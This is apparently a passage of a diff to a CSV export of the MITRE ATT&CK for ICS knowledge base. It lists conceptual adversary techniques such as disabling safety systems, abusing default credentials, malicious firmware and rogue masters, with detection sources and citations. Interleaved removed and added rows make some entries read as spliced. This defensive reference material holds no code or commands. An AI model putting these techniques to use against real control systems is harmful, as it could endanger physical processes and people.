Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'source_name': 'Reference - SANS - 201510', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.', 'source_name': 'Reference - RIoT'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0826,mitre-ics-attack,T0826,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Loss of Availability,"Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) - -Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases.",attack-pattern--b5b9bacb-97f2-4249-b804-47fd44de1f95,attack-pattern,['impact-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,,,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0829', 'source_name': 'mitre-ics-attack', 'external_id': 'T0829'}, {'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'source_name': 'Reference - Corero', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'source_name': 'Reference - SANS - 201510', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.', 'source_name': 'Reference - RIoT'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0829,mitre-ics-attack,T0829,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Loss of View,"Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT)",attack-pattern--138979ba-0430-4de6-a128-2fc0b056ba36,attack-pattern,['impact-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,,,,"['Human-Machine Interface', 'Engineering Workstation']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0849', 'source_name': 'mitre-ics-attack', 'external_id': 'T0849'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0849,mitre-ics-attack,T0849,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Masquerading,"Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. + (Citation: Alert - CISA TA18-074A) Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.",['initial-access-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0817,mitre-ics-attack,T0817,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'File: File Creation', 'Network Traffic: Network Traffic Content', 'Process: Process Creation']",,,,,['None'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0877', 'external_id': 'T0877'}, {'source_name': 'PLC-Blaster 2', 'description': 'Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019.', 'url': 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf'}, {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'}]",,attack-pattern,attack-pattern--53a48c74-0025-45f4-b04a-baa853df8204,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T15:25:32.143Z,I/O Image,Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2) Adversaries may collect the I/O Image state of a PLC by utilizing a device’s Native API to access the memory regions directly. The collection of the PLC’s I/O state could be used to replace values or inform future stages of an attack.,['collection-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0877,mitre-ics-attack,T0877,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Asset: Software/Firmware'],,,,,['Field Controller/RTU/PLC/IED'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0867', 'external_id': 'T0867'}, {'source_name': 'EAttack Lateral Tool Transfer', 'description': 'Enterprise ATT&CK. (n.d.). Lateral Tool Transfer. Retrieved October 27, 2019.', 'url': 'https://attack.mitre.org/techniques/T1570/'}]",,attack-pattern,attack-pattern--ead7bd34-186e-4c79-9a4d-b65bcce6ed9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Lateral Tool Transfer,"Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: EAttack Lateral Tool Transfer) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: EAttack Remote File Copy) -Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.",attack-pattern--ba203963-3182-41ac-af14-7e7ebc83cd61,attack-pattern,['evasion-ics'],2021-04-12T16:35:26.506Z,2020-05-21T17:43:26.506Z,,"['File Monitoring', 'Process monitoring', 'Binary file metadata']",,,,"['Human-Machine Interface', 'Control Server']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0839', 'source_name': 'mitre-ics-attack', 'external_id': 'T0839'}, {'description': 'Daniel Peck, Dale Peterson. (2009, January 28). Leveraging Ethernet Card Vulnerabilities in Field Devices. Retrieved December 19, 2017.', 'source_name': 'References - Module Firmware', 'url': 'https://www.researchgate.net/publication/228849043%20Leveraging%20ethernet%20card%20vulnerabilities%20in%20field%20devices'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0839,mitre-ics-attack,T0839,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Module Firmware,"Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. +In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks.",['lateral-movement-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0867,mitre-ics-attack,T0867,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Creation', 'File: File Metadata', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation']",,,,,"['Human-Machine Interface', 'Control Server', 'Data Historian']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0880', 'external_id': 'T0880'}]",,attack-pattern,attack-pattern--5fa00fdd-4a55-4191-94a0-564181d7fec2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-12T07:57:26.506Z,Loss of Safety,Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner. Many unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.,['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0880,mitre-ics-attack,T0880,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0832', 'external_id': 'T0832'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'}]",,attack-pattern,attack-pattern--4c2e1408-9d68-4187-8e6b-a77bc52700ec,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-12T07:57:26.506Z,Manipulation of View,"Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) -This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. (Citation: References - Module Firmware) - -An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: (Citation: References - Module Firmware) +Operators may be fooled into doing something that is harmful to the system in a loss of view situation. With a manipulated view into the systems, operators may issue inappropriate control sequences that introduce faults or catastrophic failures into the system. Business analysis systems can also be provided with inaccurate data leading to bad management decisions.",['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0832,mitre-ics-attack,T0832,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Engineering Workstation', 'Human-Machine Interface', 'Field Controller/RTU/PLC/IED']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0843', 'external_id': 'T0843'}]",,attack-pattern,attack-pattern--be69c571-d746-4b1f-bdd0-c0c9817e9068,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Program Download,"Adversaries may perform a program download to transfer a user program to a controller. ariations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download. The granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controller’s user program memory space. Modify Controller Tasking and Modify Program represent the configuration changes that are transferred to a controller via a program download.",['lateral-movement-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0843,mitre-ics-attack,T0843,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Joe Slowik - Dragos'],"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Device Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0848', 'external_id': 'T0848'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}]",,attack-pattern,attack-pattern--b14395bd-5419-4ef4-9bd8-696936f509bb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Rogue Master,"Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. In the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters.",['initial-access-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0848,mitre-ics-attack,T0848,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Operational Databases: Process/Event Alarm']",,,,,"['Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0881', 'external_id': 'T0881'}, {'source_name': 'EAttack Service Stop', 'description': 'Enterprise ATT&CK. (n.d.). Service Stop. Retrieved October 29, 2019.', 'url': 'https://attack.mitre.org/techniques/T1489/'}]",,attack-pattern,attack-pattern--063b5b92-5361-481a-9c3f-95492ed9a2d8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Service Stop,"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. (Citation: EAttack Service Stop) -*Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. +Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction. (Citation: EAttack Service Stop)",['inhibit-response-function'],https://collaborate.mitre.org/attackics/index.php/Technique/T0881,mitre-ics-attack,T0881,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Modification', 'Process: OS API Execution', 'Process: Process Creation', 'Process: Process Termination', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification']",,,,,"['Human-Machine Interface', 'Control Server', 'Data Historian', 'Engineering Workstation']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0857', 'external_id': 'T0857'}, {'source_name': 'Research - Firmware Modification', 'description': 'Basnight, Zachry, et al.. (n.d.). Retrieved October 17, 2017.', 'url': 'http://www.sciencedirect.com/science/article/pii/S1874548213000231'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]",,attack-pattern,attack-pattern--b9160e77-ea9e-4ba9-b1c8-53a3c466b13d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,System Firmware,"System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers.(Citation: Research - Firmware Modification)","['persistence-ics', 'inhibit-response-function']",https://collaborate.mitre.org/attackics/index.php/Technique/T0857,mitre-ics-attack,T0857,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Firmware: Firmware Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Input/Output Server']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0859', 'external_id': 'T0859'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}, {'source_name': 'BlackEnergy - Booz Allen Hamilton', 'description': 'Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.', 'url': 'https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf'}]",,attack-pattern,attack-pattern--cd2c76a4-5e23-4ca5-9c40-d5e0604f7101,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Valid Accounts,"Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence.(Citation: BlackEnergy - Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system.","['persistence-ics', 'lateral-movement-ics']",https://collaborate.mitre.org/attackics/index.php/Technique/T0859,mitre-ics-attack,T0859,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'User Account: User Account Authentication']",,,,,"['Control Server', 'Data Historian', 'Engineering Workstation', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0803', 'external_id': 'T0803'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]",,attack-pattern,attack-pattern--008b8f56-6107-48be-aa9f-746f927dbb61,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Block Command Message,"Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603)",['inhibit-response-function'],https://collaborate.mitre.org/attackics/index.php/Technique/T0803,mitre-ics-attack,T0803,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Application Log: Application Log Content', 'Process: Process Termination', 'Operational Databases: Process History/Live Data', 'Operational Databases: Process/Event Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Device Configuration/Parameters']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0858', 'external_id': 'T0858'}, {'source_name': 'Forum Automation PLC Operating Modes October 2017', 'description': 'N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'}, {'source_name': 'Omrom PLC Different Operating Modes', 'description': 'Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'}, {'source_name': 'Machine Information Systems How PLCs Work 2007', 'description': 'Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'}, {'source_name': 'PLCgurus PLC Basics 2021', 'description': 'PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', 'url': 'https://www.plcgurus.net/plc-basics/'}]",,attack-pattern,attack-pattern--2883c520-7957-46ca-89bd-dab1ad53b601,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Change Operating Mode,"Adversaries Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controller’s API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controller’s API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off.(Citation: Forum Automation PLC Operating Modes October 2017) Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode.(Citation: Omrom PLC Different Operating Modes)(Citation: Machine Information Systems How PLCs Work 2007)(Citation: Forum Automation PLC Operating Modes October 2017)(Citation: PLCgurus PLC Basics 2021) Remote - Allows for remote changes to a PLC’s operation mode.(Citation: PLCgurus PLC Basics 2021) Stop - The PLC and program is stopped, while in this mode, outputs are forced off.(Citation: Machine Information Systems How PLCs Work 2007) Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.(Citation: Machine Information Systems How PLCs Work 2007)Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.(Citation: Omrom PLC Different Operating Modes)","['execution-ics', 'evasion-ics']",https://collaborate.mitre.org/attackics/index.php/Technique/T0858,mitre-ics-attack,T0858,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Device Alarm']",,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0812', 'external_id': 'T0812'}, {'source_name': 'Guidance - NIST SP800-82', 'description': 'Keith Stouffer. (2015, May). Guide to Industrial Control Systems (ICS) Security. Retrieved March 28, 2018.', 'url': 'https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf'}]",,attack-pattern,attack-pattern--8bb4538f-f16f-49f0-a431-70b5444c7349,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Default Credentials,"Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. (Citation: Guidance - NIST SP800-82) -*Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. +Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled.",['lateral-movement-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0812,mitre-ics-attack,T0812,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation']",,,,,"['Human-Machine Interface', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Control Server', 'Engineering Workstation']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0819', 'external_id': 'T0819'}, {'source_name': 'ICS CERT 14-281', 'description': 'ICS-CERT. (2014, December 10). ICS Alert (ICS-ALERT-14-281-01E) Ongoing Sophisticated Malware Campaign Compromising ICS (Update E). Retrieved October 11, 2019.', 'url': 'https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B'}]",,attack-pattern,attack-pattern--32632a95-6856-47b9-9ab7-fea5cd7dce00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Exploit Public-Facing Application,"Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility. An adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries.",['initial-access-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0819,mitre-ics-attack,T0819,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,['Human-Machine Interface'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0823', 'external_id': 'T0823'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 